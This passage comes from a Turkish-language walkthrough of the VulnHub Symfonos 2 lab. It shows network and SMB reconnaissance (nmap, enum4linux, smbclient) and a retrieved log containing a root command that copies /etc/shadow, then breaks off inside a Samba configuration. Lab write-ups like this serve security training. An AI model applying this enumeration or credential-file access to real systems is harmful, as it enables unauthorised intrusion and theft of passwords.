https:\/\/download.vulnhub.com\/symfonos\/symfonos2.7z<\/a><\/p>\nWalkthrough
\nMakineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# arp-scan -l | grep 02:b1\n192.168.31.111 08:00:27:39:02:b1 PCS Systemtechnik GmbH\n\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 192.168.31.102 netmask 255.255.255.0 broadcast 192.168.31.255\n inet6 fe80::a00:27ff:fef2:f7d9 prefixlen 64 scopeid 0x20<link>\n ether 08:00:27:f2:f7:d9 txqueuelen 1000 (Ethernet)\n RX packets 93 bytes 11558 (11.2 KiB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 1035 bytes 63136 (61.6 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n<\/code><\/pre>\nnmap taramas\u0131 ile devam edelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nmap -p- -A -T4 192.168.31.111 \nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-25 11:52 EDT\nNmap scan report for symfonos2 (192.168.31.111)\nHost is up (0.00096s latency).\nNot shown: 65530 closed ports\nPORT STATE SERVICE VERSION\n21\/tcp open ftp ProFTPD 1.3.5\n22\/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey: \n| 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)\n| 256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)\n|_ 256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)\n80\/tcp open http WebFS httpd 1.21\n|_http-server-header: webfs\/1.21\n|_http-title: Site doesn't have a title (text\/html).\n139\/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)\nMAC Address: 08:00:27:39:02:B1 (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: mean: 4h40m00s, deviation: 2h53m12s, median: 3h00m00s\n|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n| smb-os-discovery: \n| OS: Windows 6.1 (Samba 4.5.16-Debian)\n| Computer name: symfonos2\n| NetBIOS computer name: SYMFONOS2\\x00\n| Domain name: \\x00\n| FQDN: symfonos2\n|_ System time: 2021-06-25T13:53:06-05:00\n| smb-security-mode: \n| account_used: guest\n| authentication_level: user\n| challenge_response: supported\n|_ message_signing: disabled (dangerous, but default)\n| smb2-security-mode: \n| 2.02: \n|_ Message signing enabled but not required\n| smb2-time: \n| date: 2021-06-25T18:53:06\n|_ start_date: N\/A\n\nTRACEROUTE\nHOP RTT ADDRESS\n1 0.96 ms symfonos2 (192.168.31.111)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 15.30 seconds\n<\/code><\/pre>\nProFTPD 1.3.5 s\u00fcr\u00fcm\u00fc ile ilgili asl\u0131nda exploitler buldum ancak bunlar\u0131 exploit edemedim. Bunun \u00fczerine smb’ya bakmaya ba\u015flad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# enum4linux -a 192.168.31.111\nStarting enum4linux v0.8.9 ( http:\/\/labs.portcullis.co.uk\/application\/enum4linux\/ ) on Fri Jun 25 12:00:47 2021\n\n ========================== \n| Target Information |\n ========================== \nTarget ........... 192.168.31.111\nRID Range ........ 500-550,1000-1050\nUsername ......... ''\nPassword ......... ''\nKnown Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none\n\n ====================================================== \n| Enumerating Workgroup\/Domain on 192.168.31.111 |\n ====================================================== \n[+] Got domain\/workgroup name: WORKGROUP\n\n ============================================== \n| Nbtstat Information for 192.168.31.111 |\n ============================================== \nLooking up status of 192.168.31.111\n SYMFONOS2 <00> - B <ACTIVE> Workstation Service\n SYMFONOS2 <03> - B <ACTIVE> Messenger Service\n SYMFONOS2 <20> - B <ACTIVE> File Server Service\n ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser\n WORKGROUP <00> - <GROUP> B <ACTIVE> Domain\/Workgroup Name\n WORKGROUP <1d> - B <ACTIVE> Master Browser\n WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections\n\n MAC Address = 00-00-00-00-00-00\n\n ======================================= \n| Session Check on 192.168.31.111 |\n ======================================= \n[+] Server 192.168.31.111 allows sessions using username '', password ''\n\n ============================================= \n| Getting domain SID for 192.168.31.111 |\n ============================================= \nDomain Name: WORKGROUP\nDomain Sid: (NULL SID)\n[+] Can't determine if host is part of domain or part of a workgroup\n\n ======================================== \n| OS information on 192.168.31.111 |\n ======================================== \nUse of uninitialized value $os_info in concatenation (.) or string at .\/enum4linux.pl line 464.\n[+] Got OS info for 192.168.31.111 from smbclient: \n[+] Got OS info for 192.168.31.111 from srvinfo:\n SYMFONOS2 Wk Sv PrQ Unx NT SNT Samba 4.5.16-Debian\n platform_id : 500\n os version : 6.1\n server type : 0x809a03\n\n =============================== \n| Users on 192.168.31.111 |\n =============================== \nUse of uninitialized value $users in print at .\/enum4linux.pl line 874.\nUse of uninitialized value $users in pattern match (m\/\/) at .\/enum4linux.pl line 877.\n\nUse of uninitialized value $users in print at .\/enum4linux.pl line 888.\nUse of uninitialized value $users in pattern match (m\/\/) at .\/enum4linux.pl line 890.\n\n =========================================== \n| Share Enumeration on 192.168.31.111 |\n =========================================== \n\n Sharename Type Comment\n --------- ---- -------\n print$ Disk Printer Drivers\n anonymous Disk \n IPC$ IPC IPC Service (Samba 4.5.16-Debian)\nSMB1 disabled -- no workgroup available\n\n[+] Attempting to map shares on 192.168.31.111\n\/\/192.168.31.111\/print$ Mapping: DENIED, Listing: N\/A\n\/\/192.168.31.111\/anonymous Mapping: OK, Listing: OK\n\/\/192.168.31.111\/IPC$ [E] Can't understand response:\nNT_STATUS_OBJECT_NAME_NOT_FOUND listing \\*\n\n ====================================================== \n| Password Policy Information for 192.168.31.111 |\n ====================================================== \n\n[+] Attaching to 192.168.31.111 using a NULL share\n\n[+] Trying protocol 139\/SMB...\n\n[+] Found domain(s):\n\n [+] SYMFONOS2\n [+] Builtin\n\n[+] Password Info for Domain: SYMFONOS2\n\n [+] Minimum password length: 5\n [+] Password history length: None\n [+] Maximum password age: 37 days 6 hours 21 minutes \n [+] Password Complexity Flags: 000000\n\n [+] Domain Refuse Password Change: 0\n [+] Domain Password Store Cleartext: 0\n [+] Domain Password Lockout Admins: 0\n [+] Domain Password No Clear Change: 0\n [+] Domain Password No Anon Change: 0\n [+] Domain Password Complex: 0\n\n [+] Minimum password age: None\n [+] Reset Account Lockout Counter: 30 minutes \n [+] Locked Account Duration: 30 minutes \n [+] Account Lockout Threshold: None\n [+] Forced Log off Time: 37 days 6 hours 21 minutes \n\n[+] Retieved partial password policy with rpcclient:\n\nPassword Complexity: Disabled\nMinimum Password Length: 5\n\n ================================ \n| Groups on 192.168.31.111 |\n ================================ \n\n[+] Getting builtin groups:\n\n[+] Getting builtin group memberships:\n\n[+] Getting local groups:\n\n[+] Getting local group memberships:\n\n[+] Getting domain groups:\n\n[+] Getting domain group memberships:\n\n ========================================================================= \n| Users on 192.168.31.111 via RID cycling (RIDS: 500-550,1000-1050) |\n ========================================================================= \n[I] Found new SID: S-1-22-1\n[I] Found new SID: S-1-5-21-629329663-2933547119-2337616968\n[I] Found new SID: S-1-5-32\n[+] Enumerating users using SID S-1-5-32 and logon username '', password ''\nS-1-5-32-500 *unknown*\\*unknown* (8)\nS-1-5-32-501 *unknown*\\*unknown* (8)\nS-1-5-32-502 *unknown*\\*unknown* (8)\nS-1-5-32-503 *unknown*\\*unknown* (8)\nS-1-5-32-504 *unknown*\\*unknown* (8)\nS-1-5-32-505 *unknown*\\*unknown* (8)\nS-1-5-32-506 *unknown*\\*unknown* (8)\nS-1-5-32-507 *unknown*\\*unknown* (8)\nS-1-5-32-508 *unknown*\\*unknown* (8)\nS-1-5-32-509 *unknown*\\*unknown* (8)\nS-1-5-32-510 *unknown*\\*unknown* (8)\nS-1-5-32-511 *unknown*\\*unknown* (8)\nS-1-5-32-512 *unknown*\\*unknown* (8)\nS-1-5-32-513 *unknown*\\*unknown* (8)\nS-1-5-32-514 *unknown*\\*unknown* (8)\nS-1-5-32-515 *unknown*\\*unknown* (8)\nS-1-5-32-516 *unknown*\\*unknown* (8)\nS-1-5-32-517 *unknown*\\*unknown* (8)\nS-1-5-32-518 *unknown*\\*unknown* (8)\nS-1-5-32-519 *unknown*\\*unknown* (8)\nS-1-5-32-520 *unknown*\\*unknown* (8)\nS-1-5-32-521 *unknown*\\*unknown* (8)\nS-1-5-32-522 *unknown*\\*unknown* (8)\nS-1-5-32-523 *unknown*\\*unknown* (8)\nS-1-5-32-524 *unknown*\\*unknown* (8)\nS-1-5-32-525 *unknown*\\*unknown* (8)\nS-1-5-32-526 *unknown*\\*unknown* (8)\nS-1-5-32-527 *unknown*\\*unknown* (8)\nS-1-5-32-528 *unknown*\\*unknown* (8)\nS-1-5-32-529 *unknown*\\*unknown* (8)\nS-1-5-32-530 *unknown*\\*unknown* (8)\nS-1-5-32-531 *unknown*\\*unknown* (8)\nS-1-5-32-532 *unknown*\\*unknown* (8)\nS-1-5-32-533 *unknown*\\*unknown* (8)\nS-1-5-32-534 *unknown*\\*unknown* (8)\nS-1-5-32-535 *unknown*\\*unknown* (8)\nS-1-5-32-536 *unknown*\\*unknown* (8)\nS-1-5-32-537 *unknown*\\*unknown* (8)\nS-1-5-32-538 *unknown*\\*unknown* (8)\nS-1-5-32-539 *unknown*\\*unknown* (8)\nS-1-5-32-540 *unknown*\\*unknown* (8)\nS-1-5-32-541 *unknown*\\*unknown* (8)\nS-1-5-32-542 *unknown*\\*unknown* (8)\nS-1-5-32-543 *unknown*\\*unknown* (8)\nS-1-5-32-544 BUILTIN\\Administrators (Local Group)\nS-1-5-32-545 BUILTIN\\Users (Local Group)\nS-1-5-32-546 BUILTIN\\Guests (Local Group)\nS-1-5-32-547 BUILTIN\\Power Users (Local Group)\nS-1-5-32-548 BUILTIN\\Account Operators (Local Group)\nS-1-5-32-549 BUILTIN\\Server Operators (Local Group)\nS-1-5-32-550 BUILTIN\\Print Operators (Local Group)\nS-1-5-32-1000 *unknown*\\*unknown* (8)\nS-1-5-32-1001 *unknown*\\*unknown* (8)\nS-1-5-32-1002 *unknown*\\*unknown* (8)\nS-1-5-32-1003 *unknown*\\*unknown* (8)\nS-1-5-32-1004 *unknown*\\*unknown* (8)\nS-1-5-32-1005 *unknown*\\*unknown* (8)\nS-1-5-32-1006 *unknown*\\*unknown* (8)\nS-1-5-32-1007 *unknown*\\*unknown* (8)\nS-1-5-32-1008 *unknown*\\*unknown* (8)\nS-1-5-32-1009 *unknown*\\*unknown* (8)\nS-1-5-32-1010 *unknown*\\*unknown* (8)\nS-1-5-32-1011 *unknown*\\*unknown* (8)\nS-1-5-32-1012 *unknown*\\*unknown* (8)\nS-1-5-32-1013 *unknown*\\*unknown* (8)\nS-1-5-32-1014 *unknown*\\*unknown* (8)\nS-1-5-32-1015 *unknown*\\*unknown* (8)\nS-1-5-32-1016 *unknown*\\*unknown* (8)\nS-1-5-32-1017 *unknown*\\*unknown* (8)\nS-1-5-32-1018 *unknown*\\*unknown* (8)\nS-1-5-32-1019 *unknown*\\*unknown* (8)\nS-1-5-32-1020 *unknown*\\*unknown* (8)\nS-1-5-32-1021 *unknown*\\*unknown* (8)\nS-1-5-32-1022 *unknown*\\*unknown* (8)\nS-1-5-32-1023 *unknown*\\*unknown* (8)\nS-1-5-32-1024 *unknown*\\*unknown* (8)\nS-1-5-32-1025 *unknown*\\*unknown* (8)\nS-1-5-32-1026 *unknown*\\*unknown* (8)\nS-1-5-32-1027 *unknown*\\*unknown* (8)\nS-1-5-32-1028 *unknown*\\*unknown* (8)\nS-1-5-32-1029 *unknown*\\*unknown* (8)\nS-1-5-32-1030 *unknown*\\*unknown* (8)\nS-1-5-32-1031 *unknown*\\*unknown* (8)\nS-1-5-32-1032 *unknown*\\*unknown* (8)\nS-1-5-32-1033 *unknown*\\*unknown* (8)\nS-1-5-32-1034 *unknown*\\*unknown* (8)\nS-1-5-32-1035 *unknown*\\*unknown* (8)\nS-1-5-32-1036 *unknown*\\*unknown* (8)\nS-1-5-32-1037 *unknown*\\*unknown* (8)\nS-1-5-32-1038 *unknown*\\*unknown* (8)\nS-1-5-32-1039 *unknown*\\*unknown* (8)\nS-1-5-32-1040 *unknown*\\*unknown* (8)\nS-1-5-32-1041 *unknown*\\*unknown* (8)\nS-1-5-32-1042 *unknown*\\*unknown* (8)\nS-1-5-32-1043 *unknown*\\*unknown* (8)\nS-1-5-32-1044 *unknown*\\*unknown* (8)\nS-1-5-32-1045 *unknown*\\*unknown* (8)\nS-1-5-32-1046 *unknown*\\*unknown* (8)\nS-1-5-32-1047 *unknown*\\*unknown* (8)\nS-1-5-32-1048 *unknown*\\*unknown* (8)\nS-1-5-32-1049 *unknown*\\*unknown* (8)\nS-1-5-32-1050 *unknown*\\*unknown* (8)\n[+] Enumerating users using SID S-1-22-1 and logon username '', password ''\nS-1-22-1-1000 Unix User\\aeolus (Local User)\nS-1-22-1-1001 Unix User\\cronus (Local User)\n[+] Enumerating users using SID S-1-5-21-629329663-2933547119-2337616968 and logon username '', password ''\nS-1-5-21-629329663-2933547119-2337616968-500 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-501 SYMFONOS2\\nobody (Local User)\nS-1-5-21-629329663-2933547119-2337616968-502 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-503 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-504 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-505 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-506 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-507 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-508 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-509 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-510 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-511 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-512 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-513 SYMFONOS2\\None (Domain Group)\nS-1-5-21-629329663-2933547119-2337616968-514 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-515 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-516 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-517 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-518 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-519 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-520 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-521 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-522 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-523 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-524 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-525 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-526 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-527 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-528 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-529 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-530 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-531 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-532 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-533 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-534 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-535 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-536 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-537 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-538 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-539 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-540 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-541 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-542 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-543 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-544 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-545 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-546 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-547 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-548 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-549 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-550 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1000 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1001 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1002 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1003 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1004 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1005 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1006 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1007 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1008 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1009 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1010 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1011 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1012 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1013 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1014 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1015 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1016 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1017 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1018 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1019 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1020 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1021 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1022 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1023 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1024 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1025 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1026 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1027 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1028 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1029 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1030 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1031 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1032 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1033 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1034 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1035 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1036 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1037 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1038 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1039 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1040 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1041 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1042 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1043 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1044 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1045 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1046 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1047 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1048 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1049 *unknown*\\*unknown* (8)\nS-1-5-21-629329663-2933547119-2337616968-1050 *unknown*\\*unknown* (8)\n\n =============================================== \n| Getting printer info for 192.168.31.111 |\n =============================================== \nNo printers returned.\n\nenum4linux complete on Fri Jun 25 12:01:28 2021\n<\/code><\/pre>\nHarika local kullan\u0131clar tespit eetik ve payla\u015f\u0131ma a\u00e7\u0131lm\u0131\u015f bir b\u00f6l\u00fcm var.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# echo aeolus >> users \n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# echo cronus >> users\n<\/code><\/pre>\n\u015eimdi payla\u015f\u0131lan klas\u00f6re girelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# smbmap -H 192.168.31.111 \n[+] Guest session IP: 192.168.31.111:445 Name: 192.168.31.111 \n Disk Permissions Comment\n ---- ----------- -------\n print$ NO ACCESS Printer Drivers\n anonymous READ ONLY \n IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# smbclient \/\/192.168.31.111\/anonymous -u "" \nTry "help" to get a list of possible commands.\nsmb: \\> ls\n . D 0 Thu Jul 18 10:30:09 2019\n .. D 0 Thu Jul 18 10:29:08 2019\n backups D 0 Thu Jul 18 10:25:17 2019\n\n 19728000 blocks of size 1024. 16314076 blocks available\nsmb: \\> cd backups\\\nsmb: \\backups\\> ls\n . D 0 Thu Jul 18 10:25:17 2019\n .. D 0 Thu Jul 18 10:30:09 2019\n log.txt N 11394 Thu Jul 18 10:25:16 2019\n\n 19728000 blocks of size 1024. 16314076 blocks available\nsmb: \\backups\\> get log.txt \ngetting file \\backups\\log.txt of size 11394 as log.txt (2781.7 KiloBytes\/sec) (average 2781.7 KiloBytes\/sec)\nsmb: \\backups\\> exit\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/symfonos2]\n\u2514\u2500# cat log.txt \nroot@symfonos2:~# cat \/etc\/shadow > \/var\/backups\/shadow.bak\nroot@symfonos2:~# cat \/etc\/samba\/smb.conf\n#\n# Sample configuration file for the Samba suite for Debian GNU\/Linux.\n#\n#\n# This is the main Samba configuration file. You should read the\n# smb.conf(5) manual page in order to understand the options listed\n# here. Samba has a huge number of configurable options most of which \n# are not shown in this example\n#\n# Some options that are often worth tuning have been included as\n# commented-out examples in this file.\n# - When such options are commented with ";", the proposed setting\n# differs from the default Samba behaviour\n# - When commented with "#", the proposed setting is the default\n# behaviour of Samba but the option is considered important\n# enough to be mentioned here\n#\n# NOTE: Whenever you modify this file you should run the command\n# "testparm" to check that you have not made any basic syntactic \n# errors. \n\n#======================= Global Settings =======================\n\n[global]\n\n## Browsing\/Identification ###\n\n# Change this to the workgroup\/NT-domain name your Samba server will part of\n workgroup = WORKGROUP\n\n# Windows Internet Name Serving Support Section:\n# WINS Support - Tells the NMBD component of Samba to enable its WINS Server\n# wins support = no\n\n# WINS Server - Tells the NMBD components of Samba to be a WINS Client\n# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both\n; wins server = w.x.y.z\n\n# This will prevent nmbd to search for NetBIOS names through DNS.\n dns proxy = no\n\n#### Networking ####\n\n# The specific set of interfaces \/ networks to bind to\n# This can be either the interface name or an IP address\/netmask;\n# interface names are normally preferred\n; interfaces = 127.0.0.0\/8 eth0\n\n# Only bind to the named interfaces and\/or networks; you must use the\n# 'interfaces' option above to use this.\n# It is recommended that you enable this feature if your Samba machine is\n# not protected by a firewall or is a firewall itself. However, this\n# option cannot handle dynamic or non-broadcast interfaces correctly.\n; bind interfaces only = yes\n\n#### Debugging\/Accounting ####\n\n# This tells Samba to use a separate log file for each machine\n# that connects\n log file = \/var\/log\/samba\/log.%m\n\n# Cap the size of the individual log files (in KiB).\n max log size = 1000\n\n# If you want Samba to only log through syslog then set the following\n# parameter to 'yes'.\n# syslog only = no\n\n# We want Samba to log a minimum amount of information to syslog. Everything\n# should go to \/var\/log\/samba\/log.{smbd,nmbd} instead. If you want to log\n# through syslog you should set the following parameter to something higher.\n syslog = 0\n\n# Do something sensible when Samba crashes: mail the admin a backtrace\n panic action = \/usr\/share\/samba\/panic-action %d\n\n####### Authentication #######\n\n# Server role. Defines in which mode Samba will operate. Possible\n# values are "standalone server", "member server", "classic primary\n# domain controller", "classic backup domain controller", "active\n# directory domain controller". \n#\n# Most people will want "standalone sever" or "member server".\n# Running as "active directory domain controller" will require first\n# running "samba-tool domain provision" to wipe databases and create a\n# new domain.\n server role = standalone server\n\n# If you are using encrypted passwords, Samba will need to know what\n# password database type you are using. \n passdb backend = tdbsam\n\n obey pam restrictions = yes\n\n# This boolean parameter controls whether Samba attempts to sync the Unix\n# password with the SMB password when the encrypted SMB password in the\n# passdb is changed.\n unix password sync = yes\n\n# For Unix password sync to work on a Debian GNU\/Linux system, the following\n# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for\n# sending the correct chat script for the passwd program in Debian Sarge).\n passwd program = \/usr\/bin\/passwd %u\n passwd chat = *Enter\\snew\\s*\\spassword:* %n\\n *Retype\\snew\\s*\\spassword:* %n\\n *password\\supdated\\ssuccessfully* .\n\n# This boolean controls whether PAM will be used for password changes\n# when requested by an SMB client instead of the program listed in\n# 'passwd program'. The default is 'no'.\n pam password change = yes\n\n# This option controls how unsuccessful authentication attempts are mapped\n# to anonymous connections\n map to guest = bad user\n\n########## Domains ###########\n\n#\n# The following settings only takes effect if 'server role = primary\n# classic domain controller', 'server role = backup domain controller'\n# or 'domain logons' is set \n#\n\n# It specifies the location of the user's\n# profile directory from the client point of view) The following\n# required a [profiles] share to be setup on the samba server (see\n# below)\n; logon path = \\\\%N\\profiles\\%U\n# Another common choice is storing the profile in the user's home directory\n# (this is Samba's default)\n# logon path = \\\\%N\\%U\\profile\n\n# The following setting only takes effect if 'domain logons' is set\n# It specifies the location of a user's home directory (from the client\n# point of view)\n; logon drive = H:\n# logon home = \\\\%N\\%U\n\n# The following setting only takes effect if 'domain logons' is set\n# It specifies the script to run during logon. The script must be stored\n# in the [netlogon] share\n# NOTE: Must be store in 'DOS' file format convention\n; logon script = logon.cmd\n\n# This allows Unix users to be created on the domain controller via the SAMR\n# RPC pipe. The example command creates a user account with a disabled Unix\n# password; please adapt to your needs\n; add user script = \/usr\/sbin\/adduser --quiet --disabled-password --gecos "" %u\n\n# This allows machine accounts to be created on the domain controller via the \n# SAMR RPC pipe. \n# The following assumes a "machines" group exists on the system\n; add machine script = \/usr\/sbin\/useradd -g machines -c "%u machine account" -d \/var\/lib\/samba -s \/bin\/false %u\n\n# This allows Unix groups to be created on the domain controller via the SAMR\n# RPC pipe. \n; add group script = \/usr\/sbin\/addgroup --force-badname %g\n\n############ Misc ############\n\n# Using the following line enables you to customise your configuration\n# on a per machine basis. The %m gets replaced with the netbios name\n# of the machine that is connecting\n; include = \/home\/samba\/etc\/smb.conf.%m\n\n# Some defaults for winbind (make sure you're not using the ranges\n# for something else.)\n; idmap uid = 10000-20000\n; idmap gid = 10000-20000\n; template shell = \/bin\/bash\n\n# Setup usershare options to enable non-root users to share folders\n# with the net usershare command.\n\n# Maximum number of usershare. 0 (default) means that usershare is disabled.\n; usershare max shares = 100\n\n# Allow users who've been granted usershare privileges to 